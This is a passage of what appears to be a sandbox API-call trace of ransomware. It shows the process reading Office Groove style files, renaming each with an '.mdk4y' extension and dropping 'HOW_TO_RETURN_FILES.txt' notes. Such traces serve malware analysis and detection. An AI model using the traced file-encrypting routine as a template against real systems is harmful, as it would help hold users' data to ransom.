cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.746] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829297700000) returned 1 [0217.747] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x401, lpOverlapped=0x0) returned 1 [0217.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829297800000) returned 1 [0217.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829297800000) returned 1 [0217.748] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_on.gif.mdk4y")) returned 1 [0217.757] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.757] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.758] AreFileApisANSI () returned 1 [0217.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 125 [0217.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.758] GetFileType (hFile=0x134) returned 0x1 [0217.759] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.759] AreFileApisANSI () returned 1 [0217.759] GetACP () returned 0x4e4 [0217.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oasis.css", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Oasis.csss", lpUsedDefaultChar=0x37dd1c) returned 9 [0217.759] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829299000000) returned 1 [0217.760] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xbf2, lpOverlapped=0x0) returned 1 [0217.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829299300000) returned 1 [0217.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829299300000) returned 1 [0217.764] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css.mdk4y")) returned 1 [0217.765] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.765] AreFileApisANSI () returned 1 [0217.765] GetACP () returned 0x4e4 [0217.765] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OliveGreen.css", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="OliveGreen.csss", lpUsedDefaultChar=0x37dd1c) returned 14 [0217.765] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829299500000) returned 1 [0217.765] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x38d, lpOverlapped=0x0) returned 1 [0217.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829299700000) returned 1 [0217.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829299700000) returned 1 [0217.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css.mdk4y")) returned 1 [0217.768] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.768] AreFileApisANSI () returned 1 [0217.768] GetACP () returned 0x4e4 [0217.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Premium.css", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Premium.csscss", lpUsedDefaultChar=0x37dd1c) returned 11 [0217.768] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829299800000) returned 1 [0217.769] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x348, lpOverlapped=0x0) returned 1 [0217.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829301100000) returned 1 [0217.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829301100000) returned 1 [0217.781] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css.mdk4y")) returned 1 [0217.810] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.810] AreFileApisANSI () returned 1 [0217.810] GetACP () returned 0x4e4 [0217.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slate", cchWideChar=5, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Slateum.css", lpUsedDefaultChar=0x37dd1c) returned 5 [0217.810] AreFileApisANSI () returned 1 [0217.810] GetACP () returned 0x4e4 [0217.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=101, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\Ȁ") returned 101 [0217.811] AreFileApisANSI () returned 1 [0217.811] GetACP () returned 0x4e4 [0217.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.811] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.811] AreFileApisANSI () returned 1 [0217.811] GetACP () returned 0x4e4 [0217.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.811] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.811] AreFileApisANSI () returned 1 [0217.811] GetACP () returned 0x4e4 [0217.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.811] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829304200000) returned 1 [0217.812] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x16c, lpOverlapped=0x0) returned 1 [0217.813] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829304300000) returned 1 [0217.813] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829304300000) returned 1 [0217.813] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_off.gif.mdk4y")) returned 1 [0217.814] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.814] AreFileApisANSI () returned 1 [0217.814] GetACP () returned 0x4e4 [0217.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.814] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829304500000) returned 1 [0217.815] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x16c, lpOverlapped=0x0) returned 1 [0217.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829304600000) returned 1 [0217.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829304600000) returned 1 [0217.819] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_on.gif.mdk4y")) returned 1 [0217.820] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.820] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.820] AreFileApisANSI () returned 1 [0217.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 125 [0217.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.880] GetFileType (hFile=0x134) returned 0x1 [0217.880] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.880] AreFileApisANSI () returned 1 [0217.880] GetACP () returned 0x4e4 [0217.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slate.css", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Slate.cssss", lpUsedDefaultChar=0x37dd1c) returned 9 [0217.881] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829311400000) returned 1 [0217.884] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xd41, lpOverlapped=0x0) returned 1 [0217.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829311500000) returned 1 [0217.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829311500000) returned 1 [0217.885] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css.mdk4y")) returned 1 [0217.886] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.886] AreFileApisANSI () returned 1 [0217.886] GetACP () returned 0x4e4 [0217.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SlateBlue.css", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SlateBlue.csss", lpUsedDefaultChar=0x37dd1c) returned 13 [0217.886] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829311700000) returned 1 [0217.888] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x38c, lpOverlapped=0x0) returned 1 [0217.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829312600000) returned 1 [0217.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829312600000) returned 1 [0217.897] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css.mdk4y")) returned 1 [0217.898] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.898] AreFileApisANSI () returned 1 [0217.898] GetACP () returned 0x4e4 [0217.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SoftBlue", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SoftBluee.css", lpUsedDefaultChar=0x37dd1c) returned 8 [0217.898] AreFileApisANSI () returned 1 [0217.898] GetACP () returned 0x4e4 [0217.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=104, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\«꬀\x94") returned 104 [0217.899] AreFileApisANSI () returned 1 [0217.899] GetACP () returned 0x4e4 [0217.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.899] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.899] AreFileApisANSI () returned 1 [0217.899] GetACP () returned 0x4e4 [0217.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.899] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.899] AreFileApisANSI () returned 1 [0217.899] GetACP () returned 0x4e4 [0217.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dc90) returned 14 [0217.899] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829313600000) returned 1 [0217.907] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1afa, lpOverlapped=0x0) returned 1 [0217.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829313800000) returned 1 [0217.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829313800000) returned 1 [0217.908] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\background.gif.mdk4y")) returned 1 [0217.909] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.910] AreFileApisANSI () returned 1 [0217.910] GetACP () returned 0x4e4 [0217.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tab_off.gif", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="tab_off.gifgif", lpUsedDefaultChar=0x37dc90) returned 11 [0217.910] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829314100000) returned 1 [0217.911] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0217.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829314200000) returned 1 [0217.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829314200000) returned 1 [0217.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_off.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_off.gif.mdk4y")) returned 1 [0217.913] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.913] AreFileApisANSI () returned 1 [0217.913] GetACP () returned 0x4e4 [0217.913] WideCharToMultiByte (in: 